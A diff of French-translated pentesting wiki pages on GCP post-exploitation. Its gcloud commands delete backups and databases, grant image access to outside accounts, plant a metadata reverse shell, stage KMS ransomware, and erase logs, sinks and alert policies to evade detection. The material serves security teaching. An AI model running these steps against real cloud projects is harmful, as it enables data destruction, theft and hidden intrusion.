Pour le faire de manière plus discrète, il est recommandé de créer une nouvelle instance SQL et de récupérer les données là-bas au lieu de dans les bases de données actuellement en cours d'exécution.
|
||||
</details>
|
||||
|
||||
Pour le faire de manière plus discrète, il est recommandé de créer une nouvelle instance SQL et d'y récupérer les données plutôt que dans les bases de données en cours d'exécution.
|
||||
|
||||
### `cloudsql.backupRuns.delete`
|
||||
|
||||
Cette permission permet de supprimer des sauvegardes :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supprimer la sauvegarde</summary>
|
||||
```bash
|
||||
gcloud sql backups delete <backup-id> --instance <instance-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.instances.export`, `storage.objects.create`
|
||||
|
||||
**Exporter une base de données** vers un Cloud Storage Bucket afin que vous puissiez y accéder depuis là :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Exporter la base de données vers le bucket</summary>
|
||||
```bash
|
||||
# Export sql format, it could also be csv and bak
|
||||
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.instances.import`, `storage.objects.get`
|
||||
|
||||
**Importer une base de données** (écraser) depuis un Cloud Storage Bucket :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Importer la base de données depuis le Cloud Storage Bucket</summary>
|
||||
```bash
|
||||
# Import format SQL, you could also import formats bak and csv
|
||||
gcloud sql import sql <instance-id> <gs://bucketName/fileName>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.databases.delete`
|
||||
|
||||
Supprimer une base de données de l'instance de base de données :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supprimer la base de données</summary>
|
||||
```bash
|
||||
gcloud sql databases delete <db-name> --instance <instance-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+85
-25
@@ -1,27 +1,33 @@
|
||||
# GCP - Post Exploitation Compute
|
||||
# GCP - Compute Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Compute
|
||||
|
||||
Pour plus d'informations sur Compute et VPC (Réseautage), consultez :
|
||||
Pour plus d'informations sur Compute et VPC (Networking) consultez :
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-compute-instances-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Exporter et inspecter les images localement
|
||||
### Export & Inspect Images locally
|
||||
|
||||
Cela permettrait à un attaquant d'**accéder aux données contenues dans des images déjà existantes** ou de **créer de nouvelles images de VMs en cours d'exécution** et d'accéder à leurs données sans avoir accès à la VM en cours d'exécution.
|
||||
Cela permettrait à un attaquant d'**accéder aux données contenues dans des images déjà existantes** ou de **créer de nouvelles images de VMs en cours d'exécution** et d'accéder à leurs données sans avoir accès à la VM en cours.
|
||||
|
||||
Il est possible d'exporter une image de VM vers un bucket, puis de la télécharger et de la monter localement avec la commande :
|
||||
Il est possible d'exporter une image de VM vers un bucket puis de la télécharger et de la monter localement avec la commande :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Exporter et télécharger une image VM</summary>
|
||||
```bash
|
||||
gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
|
||||
# The download the export from the bucket and mount it locally
|
||||
```
|
||||
Pour effectuer cette action, l'attaquant pourrait avoir besoin de privilèges sur le bucket de stockage et certainement **de privilèges sur cloudbuild**, car c'est le **service** qui sera demandé pour effectuer l'exportation.\
|
||||
De plus, pour que cela fonctionne, le SA codebuild et le SA compute ont besoin de permissions privilégiées.\
|
||||
Le SA cloudbuild `<project-id>@cloudbuild.gserviceaccount.com` a besoin de :
|
||||
</details>
|
||||
|
||||
Pour effectuer cette action l'attaquant pourrait avoir besoin de privilèges sur le storage bucket et, pour sûr, de **privilèges sur cloudbuild** car c'est le **service** qui sera sollicité pour effectuer l'export\
|
||||
De plus, pour que cela fonctionne le codebuild SA et le compute SA ont besoin de permissions privilégiées.\
|
||||
Le cloudbuild SA `<project-id>@cloudbuild.gserviceaccount.com` a besoin de :
|
||||
|
||||
- roles/iam.serviceAccountTokenCreator
|
||||
- roles/compute.admin
|
||||
@@ -29,12 +35,16 @@ Le SA cloudbuild `<project-id>@cloudbuild.gserviceaccount.com` a besoin de :
|
||||
|
||||
Et le SA `<project-id>-compute@developer.gserviceaccount.com` a besoin de :
|
||||
|
||||
- roles/compute.storageAdmin
|
||||
- oles/compute.storageAdmin
|
||||
- roles/storage.objectAdmin
|
||||
|
||||
### Exporter et inspecter les instantanés et disques localement
|
||||
### Export & Inspect Snapshots & Disks locally
|
||||
|
||||
Il n'est pas possible d'exporter directement des instantanés et des disques, mais il est possible de **transformer un instantané en disque, un disque en image** et, suivant la **section précédente**, d'exporter cette image pour l'inspecter localement.
|
||||
Il n'est pas possible d'exporter directement des snapshots et des disks, mais il est possible de **transformer un snapshot en disk, un disk en image** et, en suivant la **section précédente**, d'exporter cette image pour l'inspecter localement
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Créer un disque à partir d'un snapshot et une image à partir d'un disk</summary>
|
||||
```bash
|
||||
# Create a Disk from a snapshot
|
||||
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]
|
||||
@@ -42,65 +52,115 @@ gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --
|
||||
# Create an image from a disk
|
||||
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]
|
||||
```
|
||||
</details>
|
||||
|
||||
### Inspecter une image en créant une VM
|
||||
|
||||
Dans le but d'accéder aux **données stockées dans une image** ou à l'intérieur d'une **VM en cours d'exécution** depuis laquelle un attaquant **a créé une image,** il est possible d'accorder à un compte externe l'accès à l'image :
|
||||
Dans le but d'accéder aux **données stockées dans une image** ou à l'intérieur d'une **VM en cours d'exécution** depuis l'endroit où un attaquant **a créé une image,** il est possible d'accorder à un compte externe l'accès à l'image :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Accorder l'accès à l'image et créer une VM</summary>
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
|
||||
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
|
||||
--role='roles/compute.imageUser'
|
||||
```
|
||||
et ensuite créez une nouvelle VM à partir de cela :
|
||||
</details>
|
||||
|
||||
puis créez une nouvelle VM à partir de celle-ci :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Créer une instance VM à partir de l'image</summary>
|
||||
```bash
|
||||
gcloud compute instances create [INSTANCE_NAME] \
|
||||
--project=[TARGET_PROJECT_ID] \
|
||||
--zone=[ZONE] \
|
||||
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]
|
||||
```
|
||||
Si vous ne pouviez pas donner l'accès à votre compte externe via l'image, vous pourriez lancer une VM en utilisant cette image dans le projet de la victime et **faire exécuter un reverse shell par les métadonnées** pour accéder à l'image en ajoutant le paramètre :
|
||||
</details>
|
||||
|
||||
Si vous ne pouvez pas donner à votre compte externe l'accès à l'image, vous pouvez lancer une VM en utilisant cette image dans le projet de la victime et **faire en sorte que la metadata exécute un reverse shell** pour accéder à l'image en ajoutant le param :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Créer une VM avec reverse shell dans metadata</summary>
|
||||
```bash
|
||||
--metadata startup-script='#! /bin/bash
|
||||
echo "hello"; <reverse shell>'
|
||||
```
|
||||
### Inspecter un instantané/un disque en l'attachant à une VM
|
||||
</details>
|
||||
|
||||
Avec l'objectif d'accéder aux **données stockées dans un disque ou un instantané, vous pourriez transformer l'instantané en disque, un disque en image et suivre les étapes précédentes.**
|
||||
### Inspecter un snapshot/disque en le montant sur une VM
|
||||
|
||||
Ou vous pourriez **accorder l'accès à un compte externe** sur le disque (si le point de départ est un instantané, accordez l'accès sur l'instantané ou créez un disque à partir de celui-ci) :
|
||||
Dans le but d'accéder aux **données stockées dans un disque ou un snapshot, vous pouvez transformer le snapshot en disque, un disque en image et suivre les étapes précédentes.**
|
||||
|
||||
Ou vous pouvez **accorder l'accès à un compte externe** sur le disque (si le point de départ est un snapshot, donnez l'accès au snapshot ou créez-en un disque) :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Accorder l'accès au disque</summary>
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [PROJECT_ID] \
|
||||
--member='user:[USER_EMAIL]' \
|
||||
--role='roles/compute.storageAdmin'
|
||||
```
|
||||
**Attacher le disque** à une instance :
|
||||
</details>
|
||||
|
||||
**Attacher le disque** à une instance:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Attacher le disque à une instance</summary>
|
||||
```bash
|
||||
gcloud compute instances attach-disk [INSTANCE_NAME] \
|
||||
--disk [DISK_NAME] \
|
||||
--zone [ZONE]
|
||||
```
|
||||
Montez le disque à l'intérieur de la VM :
|
||||
</details>
|
||||
|
||||
1. **SSH dans la VM** :
|
||||
Monter le disque à l'intérieur de la VM :
|
||||
|
||||
1. **Se connecter en SSH à la VM** :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Se connecter en SSH à la VM et monter le disque</summary>
|
||||
|
||||
```sh
|
||||
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
|
||||
```
|
||||
|
||||
2. **Identifiez le disque** : Une fois à l'intérieur de la VM, identifiez le nouveau disque en listant les périphériques de disque. En général, vous pouvez le trouver sous `/dev/sdb`, `/dev/sdc`, etc.
|
||||
3. **Formatez et montez le disque** (s'il s'agit d'un nouveau disque ou d'un disque brut) :
|
||||
</details>
|
||||
|
||||
- Créez un point de montage :
|
||||
2. **Identifier le disque** : Une fois dans la VM, identifiez le nouveau disque en listant les périphériques de disque. Typiquement, vous le trouverez comme `/dev/sdb`, `/dev/sdc`, etc.
|
||||
3. **Formater et monter le disque** (si c'est un disque neuf ou brut) :
|
||||
|
||||
- Créer un point de montage :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Créer le point de montage et monter</summary>
|
||||
|
||||
```sh
|
||||
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
|
||||
```
|
||||
|
||||
- Montez le disque :
|
||||
</details>
|
||||
|
||||
- Monter le disque :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Monter le périphérique de disque</summary>
|
||||
|
||||
```sh
|
||||
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
|
||||
```
|
||||
|
||||
Si vous **ne pouvez pas donner accès à un projet externe** au snapshot ou au disque, vous devrez **effectuer ces actions à l'intérieur d'une instance dans le même projet que le snapshot/disque**.
|
||||
</details>
|
||||
|
||||
Si vous **ne pouvez pas donner l'accès à un projet externe** au snapshot ou au disque, vous devrez peut-être **effectuer ces actions depuis une instance dans le même projet que le snapshot/le disque**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+30
-6
@@ -4,7 +4,7 @@
|
||||
|
||||
## Filestore
|
||||
|
||||
Pour plus d'informations sur Filestore, consultez :
|
||||
Pour plus d'informations sur Filestore, voir :
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-filestore-enum.md
|
||||
@@ -12,7 +12,11 @@ Pour plus d'informations sur Filestore, consultez :
|
||||
|
||||
### Monter Filestore
|
||||
|
||||
Un système de fichiers partagé **peut contenir des informations sensibles** intéressantes du point de vue d'un attaquant. Avec l'accès à Filestore, il est possible de **le monter** :
|
||||
Un système de fichiers partagé **pourrait contenir des informations sensibles** intéressantes du point de vue d'un attaquant. Avec l'accès au Filestore, il est possible de **le monter** :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Monter le système de fichiers Filestore</summary>
|
||||
```bash
|
||||
sudo apt-get update
|
||||
sudo apt-get install nfs-common
|
||||
@@ -22,7 +26,9 @@ showmount -e <IP>
|
||||
mkdir /mnt/fs
|
||||
sudo mount [FILESTORE_IP]:/[FILE_SHARE_NAME] /mnt/fs
|
||||
```
|
||||
Pour trouver l'adresse IP d'une instance de filestore, consultez la section d'énumération de la page :
|
||||
</details>
|
||||
|
||||
Pour trouver l'adresse IP d'une instance filestore, consultez la section d'énumération de la page :
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-filestore-enum.md
|
||||
@@ -30,7 +36,11 @@ Pour trouver l'adresse IP d'une instance de filestore, consultez la section d'é
|
||||
|
||||
### Supprimer les restrictions et obtenir des permissions supplémentaires
|
||||
|
||||
Si l'attaquant n'est pas dans une adresse IP avec accès au partage, mais que vous avez suffisamment de permissions pour le modifier, il est possible de supprimer les restrictions ou l'accès à celui-ci. Il est également possible d'accorder plus de privilèges à votre adresse IP pour avoir un accès administrateur au partage :
|
||||
Si l'attaquant n'est pas sur une adresse IP ayant accès au partage, mais que vous disposez de suffisamment de permissions pour le modifier, il est possible de supprimer les restrictions d'accès. Il est aussi possible d'accorder plus de privilèges à votre adresse IP pour obtenir un accès administrateur au partage :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Mettre à jour l'instance Filestore pour autoriser l'accès</summary>
|
||||
```bash
|
||||
gcloud filestore instances update nfstest \
|
||||
--zone=<exact-zone> \
|
||||
@@ -56,9 +66,15 @@ gcloud filestore instances update nfstest \
|
||||
}
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
### Restaurer une sauvegarde
|
||||
|
||||
S'il y a une sauvegarde, il est possible de **la restaurer** dans une instance existante ou dans une nouvelle instance afin que ses **informations deviennent accessibles :**
|
||||
S'il existe une sauvegarde, il est possible de la **restaurer** dans une instance existante ou dans une nouvelle instance afin que ses **informations deviennent accessibles :**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Créer une nouvelle instance et restaurer la sauvegarde</summary>
|
||||
```bash
|
||||
# Create a new filestore if you don't want to modify the old one
|
||||
gcloud filestore instances create <new-instance-name> \
|
||||
@@ -76,9 +92,15 @@ gcloud filestore instances restore <new-instance-name> \
|
||||
|
||||
# Follow the previous section commands to mount it
|
||||
```
|
||||
</details>
|
||||
|
||||
### Créer une sauvegarde et la restaurer
|
||||
|
||||
Si vous **n'avez pas accès à un partage et ne souhaitez pas le modifier**, il est possible de **créer une sauvegarde** de celui-ci et de **le restaurer** comme mentionné précédemment :
|
||||
Si vous **n'avez pas accès à un share et ne voulez pas le modifier**, il est possible de **créer une sauvegarde** de celui-ci et de la **restaurer** comme indiqué précédemment :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Créer une sauvegarde et la restaurer dans une nouvelle instance</summary>
|
||||
```bash
|
||||
# Create share backup
|
||||
gcloud filestore backups create <back-name> \
|
||||
@@ -89,4 +111,6 @@ gcloud filestore backups create <back-name> \
|
||||
|
||||
# Follow the previous section commands to restore it and mount it
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+12
-6
@@ -1,4 +1,4 @@
|
||||
# GCP - IAM Post Exploitation
|
||||
# GCP - IAM Post-exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,16 +12,22 @@ Vous pouvez trouver plus d'informations sur IAM dans :
|
||||
|
||||
### Accorder l'accès à la console de gestion <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
|
||||
|
||||
L'accès à la [console de gestion GCP](https://console.cloud.google.com) est **fourni aux comptes utilisateurs, pas aux comptes de service**. Pour vous connecter à l'interface web, vous pouvez **accorder l'accès à un compte Google** que vous contrôlez. Cela peut être un compte générique "**@gmail.com**", il **n'a pas besoin d'être membre de l'organisation cible**.
|
||||
Access to the [GCP management console](https://console.cloud.google.com) is **provided to user accounts, not service accounts**. Pour vous connecter à l'interface web, vous pouvez **accorder l'accès à un compte Google** que vous contrôlez. Cela peut être un compte générique "**@gmail.com**", il **n'a pas besoin d'être membre de l'organisation cible**.
|
||||
|
||||
Pour **accorder** le rôle primitif de **Propriétaire** à un compte générique "@gmail.com", cependant, vous devrez **utiliser la console web**. `gcloud` renverra une erreur si vous essayez de lui accorder une permission supérieure à Éditeur.
|
||||
Cependant, pour **attribuer** le rôle primitif **Owner** à un compte générique "@gmail.com", vous devrez **utiliser la console web**. `gcloud` renverra une erreur si vous essayez de lui attribuer une permission supérieure à Editor.
|
||||
|
||||
Vous pouvez utiliser la commande suivante pour **accorder à un utilisateur le rôle primitif d'Éditeur** pour votre projet existant :
|
||||
Vous pouvez utiliser la commande suivante pour **accorder à un utilisateur le rôle primitif Editor** sur votre projet existant :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Accorder le rôle Editor à un utilisateur</summary>
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
|
||||
```
|
||||
Si vous avez réussi ici, essayez **d'accéder à l'interface web** et d'explorer à partir de là.
|
||||
</details>
|
||||
|
||||
C'est le **niveau le plus élevé que vous pouvez attribuer en utilisant l'outil gcloud**.
|
||||
Si vous avez réussi ici, essayez d'**accéder à l'interface web** et d'explorer à partir de là.
|
||||
|
||||
Ceci est le **niveau le plus élevé que vous pouvez attribuer en utilisant l'outil gcloud**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+39
-9
@@ -12,7 +12,11 @@ Trouvez des informations de base sur KMS dans :
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.destroy`
|
||||
|
||||
Un attaquant ayant cette permission pourrait détruire une version KMS. Pour ce faire, vous devez d'abord désactiver la clé, puis la détruire :
|
||||
Un attaquant disposant de cette permission pourrait détruire une version KMS. Pour cela, vous devez d'abord désactiver la clé puis la détruire :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Désactiver et détruire une version de clé (Python)</summary>
|
||||
```python
|
||||
# pip install google-cloud-kms
|
||||
|
||||
@@ -57,22 +61,28 @@ disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
# Destroy the key version
|
||||
destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
```
|
||||
</details>
|
||||
|
||||
### KMS Ransomware
|
||||
|
||||
Dans AWS, il est possible de **voler complètement une clé KMS** en modifiant la politique de ressource KMS et en n'autorisant que le compte des attaquants à utiliser la clé. Comme ces politiques de ressource n'existent pas dans GCP, cela n'est pas possible.
|
||||
Dans AWS, il est possible de **steal a KMS key** complètement en modifiant la KMS resource policy et en n'autorisant que le compte de l'attaquant à utiliser la clé. Comme ces resource policies n'existent pas dans GCP, cela n'est pas possible.
|
||||
|
||||
Cependant, il existe une autre façon d'effectuer un ransomware KMS global, qui impliquerait les étapes suivantes :
|
||||
Cependant, il existe une autre façon d'effectuer un KMS Ransomware global, qui impliquerait les étapes suivantes :
|
||||
|
||||
- Créer une **nouvelle version de la clé avec un matériel de clé** importé par l'attaquant
|
||||
- Créer une nouvelle **version de la clé avec un matériel de clé** importée par l'attaquant
|
||||
```bash
|
||||
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
|
||||
```
|
||||
- Définissez-le comme **version par défaut** (pour les futures données à chiffrer)
|
||||
- **Re-chiffrez les anciennes données** chiffrées avec la version précédente avec la nouvelle.
|
||||
- **Supprimez la clé KMS**
|
||||
- Maintenant, seul l'attaquant, qui possède le matériel de clé original, pourrait être en mesure de déchiffrer les données chiffrées
|
||||
- Définir comme **version par défaut** (pour les données qui seront chiffrées à l'avenir)
|
||||
- **Ré-chiffrer les anciennes données** chiffrées avec la version précédente en utilisant la nouvelle.
|
||||
- **Supprimer la clé KMS**
|
||||
- Désormais, seul l'attaquant qui possède le matériel de clé original pourra déchiffrer les données chiffrées
|
||||
|
||||
#### Voici les étapes pour importer une nouvelle version et désactiver/supprimer les anciennes données :
|
||||
#### Voici les étapes pour importer une nouvelle version et désactiver/supprimer les données plus anciennes :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Importer une nouvelle version de la clé et supprimer l'ancienne version</summary>
|
||||
```bash
|
||||
# Encrypt something with the original key
|
||||
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
|
||||
@@ -146,7 +156,13 @@ gcloud kms keys versions destroy \
|
||||
--version 1
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToEncrypt` | `cloudkms.cryptoKeyVersions.useToEncryptViaDelegation`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Chiffrer des données avec une clé symétrique (Python)</summary>
|
||||
```python
|
||||
from google.cloud import kms
|
||||
import base64
|
||||
@@ -181,7 +197,13 @@ plaintext = 'your-data-to-encrypt'
|
||||
ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
|
||||
print('Ciphertext:', ciphertext)
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToSign`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Signer un message avec une clé asymétrique (Python)</summary>
|
||||
```python
|
||||
import hashlib
|
||||
from google.cloud import kms
|
||||
@@ -215,7 +237,13 @@ message = 'your-message'
|
||||
signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message)
|
||||
print('Signature:', signature)
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToVerify`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Vérifier la signature avec une clé asymétrique (Python)</summary>
|
||||
```python
|
||||
from google.cloud import kms
|
||||
import hashlib
|
||||
@@ -242,4 +270,6 @@ return verify_response.success
|
||||
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
|
||||
print('Verified:', verified)
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+82
-10
@@ -1,30 +1,34 @@
|
||||
# GCP - Journalisation Post Exploitation
|
||||
# GCP - Post-exploitation des logs
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informations de Base
|
||||
## Informations de base
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
Pour plus d'informations, voir :
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-logging-enum.md
|
||||
{{#endref}}
|
||||
|
||||
Pour d'autres moyens de perturber la surveillance, consultez :
|
||||
Pour d'autres façons de perturber la surveillance, voir :
|
||||
|
||||
{{#ref}}
|
||||
gcp-monitoring-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Journalisation par Défaut
|
||||
### Journalisation par défaut
|
||||
|
||||
**Par défaut, vous ne serez pas pris en flagrant délit simplement pour avoir effectué des actions de lecture. Pour plus d'infos, consultez la section Journalisation Enum.**
|
||||
**Par défaut vous ne serez pas repéré simplement pour avoir effectué des actions en lecture. Pour plus d'informations, voir la section Logging Enum.**
|
||||
|
||||
### Ajouter un Principal Exempté
|
||||
### Ajouter un principal exclu
|
||||
|
||||
Dans [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) et [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit), il est possible d'ajouter des principaux pour ne pas générer de journaux. Un attaquant pourrait en abuser pour éviter d'être pris.
|
||||
Dans [https://console.cloud.google.com/iam-admin/audit/allservices] et [https://console.cloud.google.com/iam-admin/audit] il est possible d'ajouter des principals pour ne pas générer de logs. Un attaquant pourrait abuser de cela pour éviter d'être détecté.
|
||||
|
||||
### Lire les journaux - `logging.logEntries.list`
|
||||
### Lire les logs - `logging.logEntries.list`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Lire les entrées de logs</summary>
|
||||
```bash
|
||||
# Read logs
|
||||
gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json
|
||||
@@ -34,58 +38,124 @@ gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=
|
||||
|
||||
# Use these options to indicate a different bucket or view to use: --bucket=_Required --view=_Default
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.logs.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supprimer des entrées de logs</summary>
|
||||
```bash
|
||||
# Delete all entries from a log in the _Default log bucket - logging.logs.delete
|
||||
gcloud logging logs delete <log-name>
|
||||
```
|
||||
### Écrire des journaux - `logging.logEntries.create`
|
||||
</details>
|
||||
|
||||
### Écrire des logs - `logging.logEntries.create`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Écrire une entrée de log</summary>
|
||||
```bash
|
||||
# Write a log entry to try to disrupt some system
|
||||
gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.buckets.update`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Mettre à jour la rétention du bucket de logs</summary>
|
||||
```bash
|
||||
# Set retention period to 1 day (_Required has a fixed one of 400days)
|
||||
|
||||
gcloud logging buckets update bucketlog --location=<location> --description="New description" --retention-days=1
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.buckets.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supprimer un bucket de logs</summary>
|
||||
```bash
|
||||
# Delete log bucket
|
||||
gcloud logging buckets delete BUCKET_NAME --location=<location>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.links.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supprimer le log link</summary>
|
||||
```bash
|
||||
# Delete link
|
||||
gcloud logging links delete <link-id> --bucket <bucket> --location <location>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.views.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supprimer la vue de logging</summary>
|
||||
```bash
|
||||
# Delete a logging view to remove access to anyone using it
|
||||
gcloud logging views delete <view-id> --bucket=<bucket> --location=global
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.views.update`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Mettre à jour la logging view pour masquer les données</summary>
|
||||
```bash
|
||||
# Update a logging view to hide data
|
||||
gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.logMetrics.update`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Mettre à jour les métriques basées sur les logs</summary>
|
||||
```bash
|
||||
# Update log based metrics - logging.logMetrics.update
|
||||
gcloud logging metrics update <metric-name> --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.logMetrics.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supprimer les métriques basées sur les logs</summary>
|
||||
```bash
|
||||
# Delete log based metrics - logging.logMetrics.delete
|
||||
gcloud logging metrics delete <metric-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.sinks.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supprimer log sink</summary>
|
||||
```bash
|
||||
# Delete sink - logging.sinks.delete
|
||||
gcloud logging sinks delete <sink-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.sinks.update`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Mettre à jour/perturber le log sink</summary>
|
||||
```bash
|
||||
# Disable sink - logging.sinks.update
|
||||
gcloud logging sinks update <sink-name> --disabled
|
||||
@@ -106,4 +176,6 @@ gcloud logging sinks update SINK_NAME --clear-exclusions
|
||||
gcloud logging sinks update SINK_NAME --use-partitioned-tables
|
||||
gcloud logging sinks update SINK_NAME --no-use-partitioned-tables
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+57
-9
@@ -1,8 +1,8 @@
|
||||
# GCP - Surveillance Post Exploitation
|
||||
# GCP - Monitoring Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Surveillance
|
||||
## Monitoring
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
@@ -10,7 +10,7 @@ Pour plus d'informations, consultez :
|
||||
../gcp-services/gcp-monitoring-enum.md
|
||||
{{#endref}}
|
||||
|
||||
Pour d'autres moyens de perturber les journaux, consultez :
|
||||
Pour d'autres façons de perturber les logs, consultez :
|
||||
|
||||
{{#ref}}
|
||||
gcp-logging-post-exploitation.md
|
||||
@@ -18,13 +18,23 @@ gcp-logging-post-exploitation.md
|
||||
|
||||
### `monitoring.alertPolicies.delete`
|
||||
|
||||
Supprimer une politique d'alerte :
|
||||
Supprimer une alert policy :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supprimer une alert policy</summary>
|
||||
```bash
|
||||
gcloud alpha monitoring policies delete <policy>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.alertPolicies.update`
|
||||
|
||||
Perturber une politique d'alerte :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Perturber la politique d'alerte</summary>
|
||||
```bash
|
||||
# Disable policy
|
||||
gcloud alpha monitoring policies update <alert-policy> --no-enabled
|
||||
@@ -39,9 +49,15 @@ gcloud alpha monitoring policies update <alert-policy> --set-notification-channe
|
||||
gcloud alpha monitoring policies update <alert-policy> --policy="{ 'displayName': 'New Policy Name', 'conditions': [ ... ], 'combiner': 'AND', ... }"
|
||||
# or use --policy-from-file <policy-file>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.dashboards.update`
|
||||
|
||||
Modifier un tableau de bord pour le perturber :
|
||||
Modifier un dashboard pour le perturber :
|
||||
|
||||
<details>
|
||||
|
||||
